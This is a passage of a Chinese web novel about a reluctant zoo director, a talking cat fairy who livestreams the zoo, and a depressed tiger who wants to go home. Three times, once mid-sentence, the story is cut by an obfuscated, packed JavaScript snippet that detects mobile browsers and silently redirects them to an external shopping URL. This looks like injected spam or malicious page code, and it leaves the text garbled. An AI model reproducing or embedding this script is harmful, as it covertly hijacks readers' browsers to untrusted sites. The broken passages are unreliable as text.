她躺倒在黎修羽放在桌子上的胳膊前面,仰面朝上,看着黎修羽的下颌线:“你,告诉他们,本仙女可是五千岁啦,和伟大的中华文明诞生在同一年,好嘛!” 黎修羽翻译道:“她说她五千岁了。” 弹幕:哈哈哈哈哈,这小猫还会编故事呢 弹幕:原来是神仙,失敬失敬 弹幕:建国以后不许成精 弹幕:园长你发誓你真的听得懂 “一群大傻蛋。”欧若拉耷拉着眼皮,耷拉着脸蛋,耷拉着嘴角,又恶狠狠地龇牙咧嘴。 她滚到黎修羽腿上,站起来,两只前爪摁在黎修羽胸膛上,隔着衣服,踩了踩。 “我真的困了,喵呜,黎修羽。” 黎修羽自然是没有立刻适应这样的举动的,他两只胳膊都张开,一时间竟有些不知所措。 最终,他像是终于克服了什么似的,左手轻轻地抚了抚欧若拉柔软的背部,右手则滑动屏幕,找寻下播的按钮。 直播间人数已经10万+了。 黎修羽看着屏幕说:“时间不早了,今天就到这里吧。大家有什么建议可以在抖音评论区提出,嗯,私信我也可以。谢谢大家对这个动物园的关注,大家早点休息。” 他关闭了直播间。 “欧若拉,下去。”黎修羽低垂着眸子,长而微卷的睫毛忽闪一下。 欧若拉立即趴在黎修羽腿上,把头埋起来。 “喵呜,我走得动,但是我懒得走…我真的好讨厌我的嘴。” 她露出一只琥珀色的眼睛,斜眼瞧黎修羽:“求你了。” 她眼珠子一转,立刻仰面躺倒,像肥肥的蚕宝宝一样在黎修羽腿上挪来挪去,蛮横地说:“应该是你求我才对!我给你个机会让你孝敬我这个大顶流,作为报酬,以后我每天晚上都碰两下你的嘴唇。” 黎修羽呼吸一滞。 欧若拉继续道:“要知道,我平常可是只亲你一下而已哦。” “那就不必了。”黎修羽的声音平直得像把尺子。 他把欧若拉托起来,动作机械地将欧若拉放到铺得整整齐齐的床铺上。 整个过程中,手臂都是几乎伸直着的。 因为他觉得他应该是讨厌小动物的,所以他有必要跟欧若拉保持一定的距离。 他站直,意味深长地吐出几个字:“本人没有吃猫毛的癖好。” “好吧…好吧。”欧若拉的语调柔软,黏黏糊糊,随口答应着,但着实没往脑子里记。 皮毛才沾到床,她的灵魂就已经进入睡眠状态。 黎修羽站在床边,居高临下地,低垂着眸子。 他重新回到电脑前。 才要操作键盘,他发现右手指腹上粘着一根长长的淡粉色的猫毛。 他捏在指间,来回磋磨了几下,将其放在一旁那早就打印好的合同上。 就像往常画各种作业大纲一样,他整理了从电脑上自行搜索的,和公共平台上网友们提的意见,将其中可行性高的汇总到纸质笔记本上。 这本本子单从外表看,就知道已有些年岁。 尽管见过这本本子的人能感受到主人对它的珍视,但皮质的封面上已生出几道细小的裂痕,侧面则有着汗渍浸染。 的确,这是黎修羽父母留下来的。 黎修羽撰写的内容的前半本,密密麻麻的,全都是父母记下的笔记,包括但不限于动物园各个园区动物的习性、喂养注意事项和每只动物的彩色简笔画。 自从直播的心思在黎修羽心脏的某个角落里种下以后,他便总是独自思考,如何不让这件事情变成只是玩玩而已。 那个白血病女孩想了解这里,同样,其他素未谋面地网友也在对这里释放善意。 哪怕他觉得自己还是想摆脱这里,他也得承认,他不得不在他还在这里的时候,对那些人做出回应。 产生同情心,哪怕只有一微克,也意味着在心理上甚至是行为上必然要做出某种程度上的让步。 手机消息提醒响了。 黎修羽回神,点开抖音私信。 那个白血病女孩的妈妈发来一条语音。 小女孩的声音很虚弱,但确实夹杂了开心:“黎叔叔,猫猫好可爱,谢谢你。” 黎修羽指尖微颤,紧紧蹙着的眉头缓缓舒展开,狭长的眼睛里多了一缕终于突破桎梏的温柔。 他尽可能地找了个可爱的表情包。 夜已渐深,时间弹到00时00分。 黎修羽站在窗边,看见月光扶照在门前的桃花树上。 今年的气候实在异常。 前些天早已立春,却突然漫天鹅毛大雪,带来了欧若拉这颗流星。 这几天温度回暖,才绽放的桃花却已落了满地。 学校已发送通知,再暖些,他就要回学校上课了。 课程量不大,但每天也至少要有将近半天的时间需要呆在学校。 文物修复专业,于他而言是命运的奖励。 他真切地热爱着溢满历史古韵的东西。 他在微博上注册了个账号,才登录进去,就在热搜主榜上看见了“星羽动物园”这五个大字。 点进去,“欧若拉”这三个字就在热搜第二位。 当然,热搜第三位就是他自己。 他挨个点开,发现自己现实生活中的真实身份以及这个动物园的整体竟都被网友扒了个七七八八。 无一例外,现在全都是各路粉丝的好评。 最火热的直播录屏下,评论数已经上万了。 评论:求真实评价,假期打算带孩子去 评论:欧若拉我女神 评论:黎园长好温柔好帅 评论:三次元吴邪 评论:别抄了,这是胡八一 评论:其他动物呢?我之前刷到过片段,它们都很通人性 评论:成精了 评论:求指路,我也想看这个直播 评论:怎么会有粉色的毛色?是不是染色了呀? 评论: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535231|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈呀,帅哥园长可以和猫组cp …… 什么乱七八糟… 黎修羽指尖快速划过,浏览到许多实时博文。 “喵呜…” 欧若拉在睡梦中伸了个懒腰,吧唧吧唧嘴,仰躺在床上,继续睡着。 黎修羽小指微曲一下,回神。 月光洒进卧室,黎修羽的影子遮住欧若拉半个身体。 他往旁边退了一步。 欧若拉根根分明的胡须暴露在在月光里。 这小猫一脸安详,闭合的眼睛微微弯着,看起来,今天于她而言一定是过得不错的。 黎修羽走过去,安静地侧躺在欧若拉身边,顺手把脖子上的项链绳子往里塞了塞。 欧若拉翻了个身,抱着黎修羽的手臂蹭了几下。 黎修羽汗毛直立,最终没有选择把手臂抽走。 “喵呜,小鱼干…”欧若拉喃喃低语。 她醒来的时候,外面已经日上三竿。 她打了个大大的哈欠,再睁开眼,便见地上的饭盆里整整齐齐地摆放了十二条小鱼干。 她原本半眯半睁的眼睛骤然放大,“喵呜”一声就跳起来,跳到饭盆附近,才想起来自己要伸一个大大的懒腰才行。 她先伸展前肢,又挪到后肢。 大快朵颐时,黎修羽正抱着几本大学专业书籍进入屋里。 他的手里还拎着一袋东西。 欧若拉头还没回过去,鼻子却已嗅见了味道。 “喵呜,什么什么?” 她立即回头,发现目标所在地是黎修羽手里的袋子。 “喵呜?”欧若拉眨眨眼睛,“好香呀!” 黎修羽喉咙里蹦出一个音节:“嗯。” 黎修羽从她身边走过去,把书放下,打开袋子。 欧若拉使劲咽下嘴里还没有嚼烂的小鱼干,立即跑过去,扒拉着黎修羽的袋子。 黎修羽从袋子里取出一条小鱼干。 欧若拉的眼神始终跟着黎修羽手的方位转来转去。 黎修羽递给欧若拉一条:“这是刚从我外婆家拿来的,尝尝吗?” 欧若拉直接一口咬下来,香到灵魂差点飞起。 “喵呜,好好吃。”她两只爪子抱着小鱼干,啃来啃去。 黎修羽又拿出一条小鱼干,自己也尝了尝。 外婆听说是要拿给小猫吃,特意做了个减盐版的。 他睨着欧若拉,问道:“欧若拉,今天还想直播吗?” 欧若拉一边啃小鱼干,一边点头如捣蒜:“要的,要的,喵呜。” 黎修羽挑挑眉:“好的,这个给你。” 他从刚抱来的书下面抽出一本DIY指示牌,是用他先前画好的文物图裁剪制作出来的。 三星堆青铜神树复原图下方绘上一个“是”字,明代玛瑙梅花杯模拟图下方则绘上一个“否”字。 黎修羽敲敲指示牌;“如果我恰好有事不在直播间,你想跟他们说话的话,就指指这个指示牌。” “妙哇,你这个凡夫俗子想得可真周到。”欧若拉已将一条小鱼干拆吃入腹,“再给我一条” 黎修羽又给了她一条。 欧若拉咯吱咯吱地咬着鱼脑袋:“但是你可不要当资本家哦,我顶多晚上给他们欣赏一下我的美貌,白天呢,我建议,喵呜,好好吃,我建议我们找点其他事情做啦。” “知道了,”黎修羽站起来,指腹摩擦着指示牌上的青铜神树图,“我可真会给自己找事。” 他低语,语气里几乎都是嘲弄之意。 24. 白糖哥 黎修羽和欧若拉走在青石板路上,一后一前。 走到路口处大大的园区地图前时,黎修羽停住步伐。 “这张图,”黎修羽扬扬下巴,“听说是原先的两位园长用彩漆手绘的。” “喵呜,原先的两位园长?”欧若拉顺着黎修羽的视线扫过去,“你干脆说那是你的父母好啦。” 黎修羽没接茬。 他的神色清冷平淡,视线在地图上扫了一圈,片刻后,说:“欧若拉,我们开直播介绍这个地方吧。” 欧若拉点点脑袋,嘴努子向上一咧:“欧若拉严重同意。” 直播间才打开,就涌进来几千个人,而黎修羽这个个人账号,粉丝数在刚刚也突破了五十万的大关。 当黎修羽把镜头挪给欧若拉时,直播间人数已经破万了。 弹幕:欧若拉!!! 弹幕:突然开播,窝趣 弹幕:阳光下的欧若拉更美了 弹幕:园长我要看你 弹幕:黎园长抱抱欧若拉 弹幕:我拿到粉丝牌了,求翻牌 欧若拉朝后置镜头吐了下舌头:“你们看到我了吗?我是大美女欧若拉哦!” 弹幕:哈哈哈哈哈她又在说话了 弹幕:园长你的翻译呢 弹幕:这真听不懂 弹幕:我家小猫听懂了 弹幕:窝趣我家小猫好像也懂了,我家小猫炸毛了 黎修羽清冽的语调里带了点儿笑意:“她问,大家看到她这只大美女了吗。” 欧若拉朝黎修羽wink一下:“感谢您不曲解我的意思。” 弹幕:啊啊啊啊啊她在wink 弹幕:欧若拉在给黎园长wink 弹幕:我真要磕了别拦我 弹幕:园长你们是在相爱相杀吗 弹幕:欧若拉真的好可爱啊 欧若拉喉咙里发出呼噜呼噜的声音,对着黎修羽靠近他的手指头舔了两下,又眯着眼,蹭来蹭去。 从嘴努子蹭到耳后,又从耳后蹭回嘴努子。 “喵呜,”她又蹭了个来回,“我允许你给我读夸夸嘛。” 黎修羽的镜头里,欧若拉便是反反复复的模糊又清晰。 “嗯…”黎修羽稳住握着手机的手,他看了眼弹幕,自动忽略了那些让他觉得不太好的话:“她们说很喜欢你的wink,觉得你很可爱。” “只是在夸我可爱?喵呜?”欧若拉瞬间耷拉着脸蛋儿,胡须也撇到后面去。 黎修羽想了想:“你很美。” 欧若拉捋捋胡子,喉咙里再次呼噜呼噜:“这还差不多,本仙这五千年积攒下的雍容华贵的气质,岂能是只用可爱就能形容的?” 直播间人数正在往上飙升。 黎修羽扫了眼屏幕,站直,将镜头对准他父母手绘的地图。 “大家好,给大家介绍一下,星羽动物园的构造。”他清冷的声音传进屏幕里。 弹幕:可以前置摄像头吗,这样更方便互动 弹幕:楼上想看脸就直说 弹幕:其实我有个诡秘。。。 弹幕:好耶!了解好构造,我周末就去玩 黎修羽指着第一座山说:“星羽动物园一共有三座山。第一座山是常规动物园区,平常大家在动物园里经常见到的动物都在这里。” 他修长的手指指向第二座山:“第二座山是非洲之歌园区,这座山上的动物主要是前两位园长从非洲救助回来的。” “第三座山是沉睡魔咒园区,顾名思义,这里的小动物们都很爱睡觉,这里主要有巴西貘、水豚、树懒、考拉等。” “欧若拉,”他的镜头很自然地随着他的视线焦点找到欧若拉,“我们先去第一座山。” 欧若拉点点头,向第一座山奔跑而去。 弹幕:好乖呀欧若拉 弹幕:这小猫跟你太投缘了 弹幕:想rua 弹幕:欧若拉跟视频里不一样,她一点儿都不调皮 弹幕:园长你的欧若拉跑没影了 黎修羽语调平静:“她去找老虎了,一会儿就能找到她。” 黎修羽比镜头先一步发现欧若拉。 他看见欧若拉正骑在虎白糖身上,跳来跳去。 弹幕:妈呀,这只老虎是欧若拉的坐骑吧! 弹幕:我见过!我超喜欢这只大脑斧 弹幕:它咋啦?不至于中暑吧。 弹幕:欧若拉太可爱了,踩来踩去 弹幕:全世界脾气最好的老虎 弹幕:武松来了都舍不得揍它 “黎修羽,”欧若拉大叫一声,“虎白糖,黎修羽来啦,你还不起床?” 虎白糖目光呆滞,身体被欧若拉踩得一晃一晃,但还是没有什么表情。 虎红糖走过来:“猫仙大人,白糖哥是抑郁症又犯了。” “神马?他有抑郁症?”欧若拉踩踩虎白糖,“你有抑郁症?” 虎白糖只是叹了口气。 欧若拉仍然站在虎白糖身上,向黎修羽投去求助的目光。 黎修羽走进百虎园。 虎白糖谁也没看,又叹了口气:“你们都来这里做什么?” 弹幕:妈呀,这个动物园太神奇了,老虎都毫无攻击力 弹幕:这只白老虎也说话了,园长能翻译翻译吗? 弹幕:好想去现场和这只大老虎玩 弹幕:那只黄老虎也很好看啊,很秀气,是母的吧 黎修羽问欧若拉:“欧若拉,虎白糖说了什么,你方便翻译吗?” 欧若拉又踩在虎白糖身上跳了一下:“白糖大爷问咱俩来这儿干嘛。” 黎修羽对直播间说:“虎白糖问我们来这里干嘛。” 弹幕:园长真的是只能听懂欧若拉说话呀 弹幕:这就是缘分 弹幕:白老虎看起来好忧郁 弹幕:白老虎视频里看着还好啊 弹幕:怎么突然就这样了捏 欧若拉拍拍虎白糖的大脑袋:“你昨天不是还好好的?一天不见你,怎么就跟俄罗斯酸黄瓜似的蔫了呢?” 虎红糖在一旁问:“猫仙大人,你还吃过俄罗斯酸黄瓜吗?我和白糖哥都没吃过,但那确实是咱东北那嘎才有的美味。” 欧若拉胡须轻颤:“我没吃过啊,天宫动物局的那个讨厌鬼最喜欢吃这个了。” 虎红糖在虎白糖身边趴下:“好吧,白糖哥,你不理这个忘恩负义的园长就算了,好歹跟猫仙大人问个安呀。” 虎白糖鼻孔里冒出两团热气。 欧若拉从虎白糖身上跳下去,小小的脑袋抵在虎白糖的嘴努子上蹭了蹭。 “喵呜,虎白糖,你到底怎么啦。” 黎修羽离这两只老虎有一段距离,蹲下,把随身带着的肉夹给虎白糖。 “吼!”隔壁传来一声兴奋的叫声。 除了虎白糖之外的所有生物,都往那个方向看去。 “吼!”隔壁又叫了一声。 一颗圆滚滚的猪头出现在栏杆上面。 猪堡堡拱着鼻子,口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537082|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水流了一地,两只大耳朵前后摇摆:“肉,俺闻见肉味了,吼。” 虎白糖又叹了口气。 弹幕:啊啊啊啊好肥好大的猪头啊 弹幕:猪也在说话吗哈哈哈哈 弹幕:欧若拉快翻译给黎园长 弹幕:猪八戒啊 欧若拉指着黎修羽夹子上的肉,问猪堡堡:“堡姐,你想吃?” 黎修羽说:“猪堡堡想吃肉,但她必须控制体重,不能吃。” 猪堡堡惨叫一声,猪鼻子朝着天:“补药这样对俺,虎白糖已经抑郁到不能吃饭了,让俺替他解决吧。” 黎修羽摇摇头:“这里还有虎红糖。” 虎红糖直勾勾地盯着肉,等黎修羽这句话等了好一会儿,听完,立即张开血盆大口把肉整个吞进肚子里。 欧若拉噗嗤一笑:“完咯,猪堡堡又要哭唧唧了。” 果然,猪堡堡瞬间痛哭流涕,扒着栏杆,边打嗝边抹泪。 欧若拉问趴在一旁,正在剔牙的虎红糖:“虎红糖,虎白糖是因为什么抑郁?” 虎红糖斜眼瞅了黎修羽一眼,鼻孔里出来恶气:“哼,都怪这个人类呗。” “啊?”欧若拉捋捋胡子,也斜眼瞅着黎修羽,“难道是因为…虎白糖是这座动物园的铁粉,所以才因为黎某人要卖掉园子而抑郁?” 她的话,向一颗表面光滑但极具重量的鹅卵石一样,投进黎修羽心里平淡无波的湖泊。 那里似乎是泛起了一道轻浅的不易察觉的涟漪。 黎修羽看向虎白糖。 虎白糖的眼神涣散,依旧朝着原先的方向,他突然开口道:“猫仙大人,俺没您想得这么仗义。” 虎红糖叫道:“白糖哥,你不要贬低自己。” 虎白糖叹口气:“这里真的很无趣。” 欧若拉说:“他说这里真的很无聊。” 虎白糖看向黎修羽的镜头。 黎修羽识趣地想把直播间关掉。 虎白糖伸出巨大的厚实的爪子:“别动,我要对着镜头说。” 欧若拉立即对黎修羽说:“黎修羽,别关,虎白糖有话要说。” 黎修羽重新把镜头对准虎白糖。 欧若拉跳到黎修羽身边,踩着鞋,在修长的小腿前蹭来蹭去。 虎白糖看了看欧若拉:“欧神仙,我得先向您表达感谢。” “喵呜?我?”欧若拉尾巴竖得像天线。 虎白糖轻轻地点了下头:“是的,是您。多亏您前些天的捣蛋计划,让我有理由好好看看这几个山头,解决了我对于这个世界的最后一点儿念想。这里,唉,原先就觉得无趣,以后再换个主人,只会更让虎无语。” 欧若拉捋捋胡子,只听懂了虎白糖对于黎修羽卖园的不满,没琢磨过来,虎白糖的言外之意。 但她还是一字一句地全都翻译给黎修羽。 虎白糖又看向黎修羽:“黎园长,我也谢谢你的父母,是他们救助了奄奄一息的我,把我带来这里。这里的动物们几乎都把这里当成了家,比如红糖妹,但…” 虎红糖放下剔牙的爪子,看着虎白糖。 虎白糖注视镜头:“但对于我而言,我的家…我更愿意说是长白山。这里离长白山太远了,我的修为又太低,我这辈子或许都回不去。” 他缓慢地,从地上爬起来,像所有猫科动物都有的天性那样,使劲耸了耸肩。 “算了,我没读过九百年义务教育,肚子里没墨,遗言都写不出几句。” 他转身,向才蜕了新芽的灌木丛走去。 25. 危险动作请勿模仿 弹幕还在实时滚动着,直播间人数已经飙升到七万。 弹幕:虎白糖好忧伤啊 弹幕:不是传统的老虎,看着也不霸气 弹幕:他在说啥啊。。。 弹幕:他在跟我们说话吧,他在看镜头 弹幕:求翻译… 黎修羽听不懂虎白糖说的话,但看见虎白糖的神色越来越忧伤,绿豆大的眼睛里泛起一阵雾气。 他猛地伸出手,但老虎已半个身子探进灌木丛里。 欧若拉大叫一句:“他要死啊!黎修羽!” 猪堡堡瞬间停止哭泣,抽抽鼻子,看着他们。 欧若拉和虎红糖,体型无法与虎白糖相比,她俩用尽所有力气也拖不住他前进的身躯。 虎红糖抱着虎白糖强壮的后腿:“抱不住了…猫仙大人,你可是神仙啊,快用法术呀。” 欧若拉咬着虎白糖的尾巴:“呜…不要哇,我会被罚一万两金子啊…” 因为语言问题,黎修羽无法在短时间内搞清楚状况:“他是因为什么?” 欧若拉呜呜咽咽:“唔,喵呜,他,他想回长白山啊,唔,拽不住了…” 眼见欧若拉即将松口,黎修羽想了想,立即说:“我可以帮你回归栖息地。” 黎修羽的最后一个字节才刚刚落下,欧若拉就觉得口中一轻。 虎白糖马上就放弃前行了。 他默默地退出灌木丛,朝黎修羽走去。 欧若拉和虎红糖立即闪到两侧八丈远开外。 黎修羽猛地身形一晃,向后退了半步。 弹幕:我去,园长小心啊 弹幕:老虎归根结底还是老虎啊,怎么能这么近距离接触? 弹幕:好危险。。。 弹幕:啊啊啊啊啊 欧若拉大叫:“黎修羽,虎白糖要咬…” 她嘴里叽里咕噜不知道冒出多少个泡,终于,能说出完整的词语。 “不…不咬你…!” 欧若拉憋得脸都鼓了,说完话才终于泄了气。 黎修羽也松了口气:“危险动作,请勿模仿。” 虎白糖不语,在距离黎修羽两步远的位置坐下,定定地看着他。 他沉吟道:“小园长,我现在这情况可开不起玩笑。” 欧若拉以虎白糖为中点,弧形走位走到黎修羽身后。 欧若拉探出爪子,拍拍黎修羽的腿,小声地说:“喵呜,你可小心点,他说他开不起玩笑,这架势,可绝不是说说而已。” 虽然黎修羽知道欧若拉说的话肯定是真话,但生理反应下,额角依旧冒出细汗。 他强装镇定地说:“虎白糖,我确定没跟你开玩笑。” 直播间的氛围似乎也受到影响,人数虽然一直在增加,但弹幕的刷屏速度明显减慢了。 虎白糖紧紧盯着他:“小园长,我不相信你。你既然不要这里,又有什么必要帮我?我跟你没攀上交情。你父母都做不到的事情,你觉得你能行?” 欧若拉翻译给黎修羽。 黎修羽张了张嘴,脑子里的主意疯狂旋转。 他看着虎白糖的眼睛,最终选择实话实说。 他面上没什么表情,声音却是坚定的:“虎白糖,以前的人怎么做的,我不了解,但如果你愿意接受我的帮助,我就会尽我所能地给你创造条件。” 虎白糖的绿豆眼里充满了迷惑。 黎修羽继续道:“我帮助你,一是,我不想在我管理这里时,有动物因为除自然死亡之外的原因死去;二是,我最近在某只动物的影响下,偶尔也想多管一件闲事,仅此而已。” 他说话时,全程没有给身后的欧若拉一个眼神,但他能感受到,欧若拉是一直在看他的。 欧若拉钩住黎修羽的裤子。 黎修羽回头看欧若拉。 欧若拉指了指身后的栏杆外的猪堡堡:“那你能不能再多管一件闲事?喵呜?” 黎修羽的眼神从欧若拉飘到猪堡堡。 猪堡堡突然露出个笑,两只大耳朵像安装了马达一样不停抖动:“吼,是俺,是俺。” 欧若拉抬头看黎修羽,琥珀色眸子里的瞳孔已变成两条线:“黎修羽,她说她也需要你的无私奉献哦。” “否则呢?”黎修羽挑挑眉。 “否则她也去…呃…”欧若拉朝猪堡堡撇撇嘴,“我说不出口,你自己编吧。” 猪堡堡立即接茬:“否则俺也去自杀。” “是的,她说她也要自杀哎!”欧若拉点点头,又给黎修羽送了一个wink。 黎修羽无语。 他再次看向虎白糖:“你考虑一下,明早喂饭前给我答复。” 欧若拉在黎修羽才回过头时,立即向猪堡堡说:“他默许啦。” 猪堡堡往前拱着鼻子:“感恩力挺,神仙大人我爱您,吼。” 虎白糖没说话,也不再看黎修羽。他走到原先的位置,在虎红糖身边趴下了。 黎修羽在直播间交代完,就关闭了直播。 他锁上百虎园的门,将钥匙收进白色腰包里。 欧若拉看着黎修羽“滋啦”一声将腰包拉链拉得严严实实,便扒拉着黎修羽的裤腿,向上攀爬。 “欧若拉。”黎修羽出言制止。 欧若拉肥肥的腮一使劲儿,胡须就开始上下颤动。 “喵呜,本仙女不想走路啦。” 黎修羽仰头,叹了口气。 像是终于下定了决心,他捏着欧若拉的后脖颈,将她抱入怀中。 他手上动作依然很僵硬,脚下则快步往回走。 带着桃花残香的春风拂过他的发梢,又擦蹭欧若拉的胡须。 他走在路上,依旧没低头,但低着眸子:“欧若拉,你是不是很喜欢给我找事情做。” 他的话是肯定句。 欧若拉枕在黎修羽温暖的臂弯里,闻言,眨眼,看着黎修羽:“是的,是这样的。” 她其实不想承认任何有关于她使坏的事实,但是,她这张嘴总是比脑子先飞出二里地。 黎修羽说:“哦?为了让我跟这里产生更多的羁绊吗?” 欧若拉恍然大悟:“对,你不说我还没意识到我是这个意思,但我的确就是这样想的。” 黎修羽嗤笑一声,自嘲道:“我现在不仅会多管闲事,还会多嘴了。” 欧若拉说:“哎呀,这是坏事儿啊,你已经开始学习我活了五千年的糟粕了…呸…是精…糟粕…好吧。” 她不说话了,她终于知道她这些行为应该被归类到糟粕那一栏了。 她继续道:“我的幻想是,你多跟这些小动物接触,慢慢地,就会放下你对我们的讨厌呢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539595|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黎修羽做了个了然的表情:“哦,那除了虎白糖和猪堡堡,你是不是早就找好其他目标了?” 欧若拉使劲点点头:“知己!咱俩简直是低山臭水遇雷霆,互为伯牙钟子期啊。” “都有谁?”黎修羽语气很淡,欧若拉听不出任何波澜。 欧若拉眼珠子一转:“喵呜,比如长颈鹿啦,比如果核泥龟啦,比如巴西貘啦,比如…” 黎修羽很少打断别人说话,但这次,他觉得他有必要。 “好了,回去列份清单给我。” 欧若拉在黎修羽的臂弯里滚了一遭:“你都一一照做?” 黎修羽坦言道:“在我还在这里时。” 欧若拉瞬间炸毛,语调升了八个度:“妈呀,你还是要卖这里?” 黎修羽推开房门,走进去:“我不否认。” 欧若拉觉得自己要晕倒了。 她躺在黎修羽的怀里难过到翻了个白眼,从他怀里跳下去,回头看着他。 “黎修羽我此时此刻真的很讨厌你。” 黎修羽并不惊讶:“今天的小鱼干还吃吗?” 欧若拉不情不愿但动作敏捷地飞奔到饭盆面前。 她伸出肉乎乎的爪子,撅着三瓣儿嘴:“Giveme.” “吧唧吧唧,小鱼干的头是尖尖的,咬一口,嘎嘣脆,”她轻轻地将鱼头咬掉,肉垫子挪到鱼腹上,“小鱼干的肚子鼓鼓的,再咬一口,糯叽叽。” “天啊,黎修羽,你的外婆简直是我的灵魂知己。”欧若拉拍拍爪子,露出一双星星眼,“你在做什么呢?喵呜?” 黎修羽坐在沙发上,发梢被傍晚的凉风吹得飘起来。 他没抬眼皮,薄唇轻启:“帮助老虎回归野外涉及到生态学、社会学和动物科学的领域,欧若拉,我在统计这个动物园可以调动的经费。” “喵呜,真复杂啊,”欧若拉用两只爪子抱着残余的小鱼干,啊呜一口,全都塞进嘴里,“吧唧,我也没有钱哎。” 黎修羽越算越无语。 他搞不懂他父母为什么要扛着巨大的债务压力坚持把这个没有未来的地方办下去。 他把所有能用的经费都加起来,也才刚好够给虎白糖搭建起稍微靠谱的简易野化训练基地。 至于去长白山考察放归栖息地,提供充足的仿真机器猎物,定期评估身体状况,植入定位跟踪芯片……这些事情直接想都不要想。 他现在,立刻马上带着欧若拉跑到旧大桥上砸锅卖铁装疯卖傻呼天喊地,都不可能讨得来这么多钱。 但是… 他放在沙发上的手机响了一下。 或者说,他的手机一直在响,只是他现在才注意到。 他打开抖音,那唯一一条图文的评论区里,最新的评论和私信几乎都是在关心虎白糖的状况。 这里面,也不乏给他出各种稀奇古怪的主意的。 黎修羽想明白了,当下重要的,是给虎白糖把野化训练基地搭建起来,这个搭建过程和后续的训练过程,都可以放到直播间里。 他立即去咨询官方机构,在他的账号上搭建起众筹链接,标题是:小虎回家。 次日。 李大爷拉开动物园的大铁门,放进好几辆铲车和拿着铁锨铲子的黎修羽,和骑在他肩头的,像皇上巡视领地一样的小猫咪。 26. 主理人喵喵 欧若拉探着脑袋,凑近摄像头:“黎修羽,我觉得这个角度很好哦。” 黎修羽把直播间简介的“随便播播”,改成了“虎白糖野化训练基地搭建计划——危险动作,请勿模仿。” “是吗,”黎修羽狭长的眼睛微微上挑,全神贯注地看着直播间,嘴里漫不经心地讲,“这个视角不够宽阔。” 黎修羽嘴上这样说着,手指却并没有再触碰手机。 欧若拉使劲摇头:“可是,喵呜,这个角度的我最好看。” 弹幕一直在滚动着。 弹幕:哇,刚进来就看见欧若拉的大肥脸 弹幕:欧若拉好美呀,怎么胸膛也是粉红色的捏(众筹人数+1) 弹幕:啊啊啊啊黎园长你补药离屏幕这么近,我有个诡秘受不鸟……(众筹人数+1) 弹幕:申请参与大工程(众筹人数+1) 弹幕:我们的主角虎白糖呢(众筹人数+1) 黎修羽说:“虎白糖还在休息。” 弹幕:好多人呀,园长要直播多久(众筹人数+1) 欧若拉琥珀色的眼睛瞪得大大的:“哇,黎修羽,他们简直太喜欢我们这个动物园了,而我,我是凡间最火的小动物哦。” 黎修羽在欧若拉身后点点头:“嗯。” 他把手机支在搬来的桌子上,又在桌子上放上先前制作的指示牌。 “欧若拉,这边交给你了。”黎修羽瞧着欧若拉圆圆肥肥的脸蛋儿,下意识地伸手向她毛绒绒的头顶摸去。 才要摸到,他回过神来,止住了动作,眼睛里隐秘地透出一丝尴尬。 欧若拉在黎修羽最开始伸手的时候,就眯眯着眼睛等待着“奖励”。 小猫总是把主人的摸摸当做奖励。 她等了两秒,没有感受到黎修羽掌心的温暖,就迫不及待地凑上去,抵在黎修羽的掌心之下。 而她的两只前爪则像两根风干的牛肉一样,在空中摆来摆去。 黎修羽的手在碰到毛绒绒的东西时立即弹开,他转身就往施工队的方向走去。 但如果欧若拉此时睁开浑圆的眼睛看去,就能发现,黎修羽的胳膊是一直僵直着放在身侧的,而那只被她碰过的手的手指,也十分不自然地卷曲了两下,有一点儿回味之意。 “喵呜…”欧若拉舔舔粉色的爪子,心满意足地朝直播间抖动胡须,“你们亲爱的园长大人要去当包工头了,以后就由我来为你们解答问题吧。” 弹幕:可爱的欧若拉宝宝是今天的主持人吗 欧若拉头也不回,伸出粉色的爪爪指向青铜神树图:“喵呜,我的回答在这里。” 弹幕:哇,主理人喵喵好聪明呀 弹幕:欧若拉是真乖乖(众筹人数+1) 弹幕:我要给欧若拉筹钱,欧若拉需不需要? 欧若拉顿时两眼放光,立即回头咬住指示牌,拖到离摄像头更近的位置。 她嘴里“喵呜喵呜”叫着,爪子不停地戳着青铜神树。 “钱,我要钱,我要很多很多钱!喵呜!” 弹幕:哈哈哈,是爱财的小猫咪 欧若拉指向青铜神树 弹幕:猫咪本来就招财(众筹人数+1) 欧若拉又指了指青铜神树。 弹幕:欧若拉萌死了,来我家我养你 欧若拉想都没想,把爪子挪到明代玛瑙梅花杯上。 弹幕:好想去星羽动物园偷走欧若拉哈哈哈 欧若拉重重地戳了戳梅花杯。 弹幕:欧若拉宝宝太爱星羽动物园啦 弹幕:你们别偷了,猫猫要急眼了哈哈哈哈(众筹人数+1) 弹幕:欧若拉,黎园长不在这里,你要不要跟大家聊聊秘密? 